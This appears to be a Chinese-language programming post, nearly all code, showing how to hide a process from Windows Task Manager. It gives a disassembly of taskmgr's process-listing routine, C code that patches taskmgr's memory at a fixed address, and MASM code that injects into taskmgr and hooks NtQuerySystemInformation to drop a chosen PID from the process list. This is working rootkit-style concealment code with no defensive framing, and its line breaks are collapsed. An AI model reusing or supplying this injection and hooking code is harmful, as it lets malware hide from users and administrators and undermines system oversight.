public: long __thiscall CProcPage::GetProcessInfo(void) proc near.text:0100A6AF                                         ; CODE XREF: CProcPage::UpdateProcInfoArray(void)+111p.text:0100A6AF.text:0100A6AF var_4           = dword ptr -4.text:0100A6AF.text:0100A6AF                 mov     edi, edi.text:0100A6B1                 push    ebp.text:0100A6B2                 mov     ebp, esp.text:0100A6B4                 push    ecx.text:0100A6B5                 push    ebx.text:0100A6B6                 push    esi.text:0100A6B7                 xor     ebx, ebx.text:0100A6B9                 push    edi.text:0100A6BA                 mov     edi, ds:GetProcessHeap().text:0100A6C0                 mov     esi, ecx.text:0100A6C2                 mov     [ebp+var_4], ebx.text:0100A6C2.text:0100A6C5.text:0100A6C5 loc_100A6C5:                            ; CODE XREF: CProcPage::GetProcessInfo(void)+63j.text:0100A6C5                 mov     eax, [esi+10h].text:0100A6C8                 cmp     eax, ebx.text:0100A6CA                 jz      short loc_100A6F9.text:0100A6CA.text:0100A6CC                 push    ebx.text:0100A6CD                 push    dword ptr [esi+14h].text:0100A6D0                 push    eax.text:0100A6D1                 push    5.text:0100A6D3                 call    ds:NtQuerySystemInformation(x,x,x,x).text:0100A6D9                 cmp     eax, ebx.text:0100A6DB                 jge     short loc_100A71B.text:0100A6DB.text:0100A6DD                 cmp     eax, 0C0000004h.text:0100A6E2                 jnz     short loc_100A723.text:0100A6E2.text:0100A6E4                 mov     eax, [esi+10h].text:0100A6E7                 cmp     eax, ebx.text:0100A6E9                 jz      short loc_100A6F9.text:0100A6E9.text:0100A6EB                 push    eax             ; lpMem.text:0100A6EC                 push    ebx             ; dwFlags.text:0100A6ED                 call    edi ; GetProcessHeap().text:0100A6EF                 push    eax             ; hHeap.text:0100A6F0                 call    ds:HeapFree(x,x,x).text:0100A6F6                 mov     [esi+10h], ebx.text:0100A6F6.text:0100A6F9.text:0100A6F9 loc_100A6F9:                            ; CODE XREF: CProcPage::GetProcessInfo(void)+1Bj.text:0100A6F9                                         ; CProcPage::GetProcessInfo(void)+3Aj.text:0100A6F9                 add     dword ptr [esi+14h], 1000h.text:0100A700                 push    dword ptr [esi+14h] ; dwBytes.text:0100A703                 push    ebx             ; dwFlags.text:0100A704                 call    edi ; GetProcessHeap().text:0100A706                 push    eax             ; hHeap.text:0100A707                 call    ds:HeapAlloc(x,x,x).text:0100A70D                 cmp     eax, ebx.text:0100A70F                 mov     [esi+10h], eax.text:0100A712                 jnz     short loc_100A6C5.text:0100A712.text:0100A714                 mov     [ebp+var_4], 8007000Eh.text:0100A714.text:0100A71B.text:0100A71B loc_100A71B:                            ; CODE XREF: CProcPage::GetProcessInfo(void)+2Cj.text:0100A71B                                         ; CProcPage::GetProcessInfo(void)+7Bj.text:0100A71B                 mov     eax, [ebp+var_4].text:0100A71E                 pop     edi.text:0100A71F                 pop     esi.text:0100A720                 pop     ebx.text:0100A721                 leave.text:0100A722                 retn 

#define MAGIC_ADDR 0x100cb65static const byte VerFlag[] = {0xe8,0x45,0xdb,0xff,0xff};bool stoptm(DWORD pid){ bool bSuccess = false; HANDLE ph = 0;  if(!pid) {  puts("taskmgr not run!");  goto QUIT; }  ph = OpenProcess(PROCESS_ALL_ACCESS,false,pid); if(!ph) {  puts("can't open taskmgr!");  goto QUIT; }  byte fixbin[sizeof(VerFlag)]; if(!ReadProcessMemory(ph,(LPCVOID)MAGIC_ADDR,fixbin,sizeof(fixbin),NULL)) {  puts("read mem failed!");  goto QUIT; }  if(memcmp(VerFlag,fixbin,sizeof(fixbin))) {  puts("taskmgr isn't right ver!");  goto QUIT; }  memset(fixbin,0x90,sizeof(fixbin)); if(!WriteProcessMemory(ph,(LPVOID)MAGIC_ADDR,fixbin,sizeof(fixbin),NULL)) {  puts("write mem failed!");  goto QUIT; }  bSuccess = true;QUIT: if(ph)  CloseHandle(ph); return bSuccess;}

typedef struct _SYSTEM_PROCESSES{ULONG　　　　 NextEntryDelta；　　　　 //构成结构序列的偏移量；ULONG　　　　 ThreadCount；　　　　　　 //线程数目；ULONG　　　　 Reserved1[6]；　　　　 LARGE_INTEGER CreateTime；　　　　　　 //创建时间；LARGE_INTEGER UserTime；　　　　　　　　//用户模式(Ring 3)的CPU时间；LARGE_INTEGER KernelTime；　　　　　　 //内核模式(Ring 0)的CPU时间；UNICODE_STRING ProcessName；　　　　　　 //进程名称；KPRIORITY　　 BasePriority；　　　　　　//进程优先权；ULONG　　　　 ProcessId；　　　　　　 //进程标识符；ULONG　　　　 InheritedFromProcessId； //父进程的标识符；ULONG　　　　 HandleCount；　　　　　　 //句柄数目；ULONG　　　　 Reserved2[2]；VM_COUNTERS　　VmCounters；　　　　　　 //虚拟存储器的结构，见下；IO_COUNTERS　　IoCounters；　　　　　　 //IO计数结构，见下；SYSTEM_THREADS Threads[1]；　　　　　　 //进程相关线程的结构数组，见下；}SYSTEM_PROCESSES,*PSYSTEM_PROCESSES； 

.386.model flat, stdcalloption casemap:none.nocref.nolistinclude  D:/work/masm32/include/windows.incinclude  D:/work/masm32/include/user32.incinclude  D:/work/masm32/include/kernel32.inc.list.listmacro.listmacroallIFNDEF UNICODE_STRING UNICODE_STRING struct  _Length  WORD ?  MaximumLength WORD ?  Buffer  PWSTR ? UNICODE_STRING ends PUNICODE_STRING typedef ptr UNICODE_STRINGENDIFSPI struct NextOffset DWORD ?   DWORD ? Times  QWORD 6 dup(?) ImageName UNICODE_STRING <?>   DWORD ? ProcessId DWORD ? Reserved DWORD 7 dup(?)SPI endsPSPI typedef ptr SPI  .constszDll  db "ntdll.dll",0szQSI_func db "NtQuerySystemInformation",0  .code;**********************************************************RT_BIN_START equ $ PID  DWORD ? ;要隐藏进程的pid pQSI_func DWORD ? pQSI_Next DWORD ? pBuf  DWORD ? pRetAddr DWORD ? pPreviousSPI PSPI 0 dwEBX  DWORD ? ;ORGBIN  byte 5 dup(?) FIXBIN  byte 5 dup(?)RT_CODE_OFFSET equ $ - RT_BIN_STARTlen0 textequ %RT_CODE_OFFSET% echo RT_CODE_OFFSET is len0;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++myQSI_func proc mov ecx,ebx call @F@@: pop ebx sub ebx,offset @B jmp DOITGoMaMa: mov eax,dword ptr [esp] mov dword ptr [esp + 4],eax pop eax ORGBIN byte 5 dup(?) jmp [ebx + pQSI_Next]DOIT: mov dword ptr [ebx + dwEBX],ecx mov dword ptr [ebx + pBuf],0 push dword ptr [esp] pop dword ptr [ebx + pRetAddr] .if dword ptr [esp + 4] == 5  push dword ptr [esp+8]  pop dword ptr [ebx + pBuf] .endif  call GoMaMa ;调用原始QSI成功且是获取SPIs的调用 .if eax == 0 && dword ptr [ebx + pBuf] != 0  assume eax:PSPI  mov ecx,dword ptr [ebx + PID]  mov eax,dword ptr [ebx + pBuf]  .while TRUE   .if [eax].ProcessId == ecx    .if [eax].NextOffset == 0     mov eax,[ebx + pPreviousSPI]     mov [eax].NextOffset,0    .else     mov ecx,[eax].NextOffset     mov eax,[ebx + pPreviousSPI]     add ecx,[eax].NextOffset     mov [eax].NextOffset,ecx    .endif    .break   .endif   .break .if [eax].NextOffset == 0   push eax   pop dword ptr [ebx + pPreviousSPI]   add eax,[eax].NextOffset  .endw  assume eax:nothing .endif  mov ecx,ebx mov ebx,[ebx + dwEBX] jmp [ecx + pRetAddr] ;retmyQSI_func endp;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++RT_BIN_END equ $RT_BIN_LEN equ RT_BIN_END - RT_BIN_STARTT_BIN_LEN textequ %RT_BIN_LEN% echo RT_BIN_LEN is T_BIN_LEN;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++hookQSIfunc proc C uses ebx edi esi ph:HANDLE,pid:DWORD local bSuccess,pRTBin,oldProtect  mov bSuccess,FALSE .if pid == 0  jmp QUIT .endif invoke VirtualProtect,offset RT_BIN_START,/  T_BIN_LEN,PAGE_EXECUTE_READWRITE,/  addr oldProtect .if !eax  jmp QUIT .endif invoke LoadLibrary,addr szDll invoke GetProcAddress,eax,addr szQSI_func .if !eax  jmp QUIT .endif mov pQSI_func,eax  invoke VirtualAllocEx,ph,NULL,T_BIN_LEN,/  MEM_COMMIT,PAGE_EXECUTE_READWRITE .if !eax  jmp QUIT .endif mov pRTBin,eax  invoke ReadProcessMemory,ph,pQSI_func,/  addr ORGBIN,5,NULL .if !eax  jmp QUIT .endif mov eax,pRTBin add eax,RT_CODE_OFFSET sub eax,pQSI_func sub eax,5 mov byte ptr [FIXBIN],0E9h mov dword ptr [FIXBIN+1],eax  mov eax,pQSI_func add eax,5 mov pQSI_Next,eax push pid pop PID invoke WriteProcessMemory,ph,pRTBin,/  offset RT_BIN_START,T_BIN_LEN,NULL .if !eax  jmp QUIT .endif invoke WriteProcessMemory,ph,pQSI_func,/  addr FIXBIN,5,NULL .if !eax  jmp QUIT .endif  mov bSuccess,TRUEQUIT: .if pRTBin  ;invoke VirtualFreeEx,ph,pRTBin,/   ;T_BIN_LEN,MEM_RELEASE .endif mov eax,bSuccess rethookQSIfunc endp;********************************************************** end

//检查taskmgr.exe当前是否在运行DWORD findtm(void){ DWORD pid = 0;  PROCESSENTRY32 process = {.dwSize=sizeof(PROCESSENTRY32)}; HANDLE hss = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); Process32First(hss,&process); while(Process32Next(hss,&process)) {  if(!strcmp(process.szExeFile,"taskmgr.exe"))  {   pid = process.th32ProcessID;   break;  } }  CloseHandle(hss); return pid;}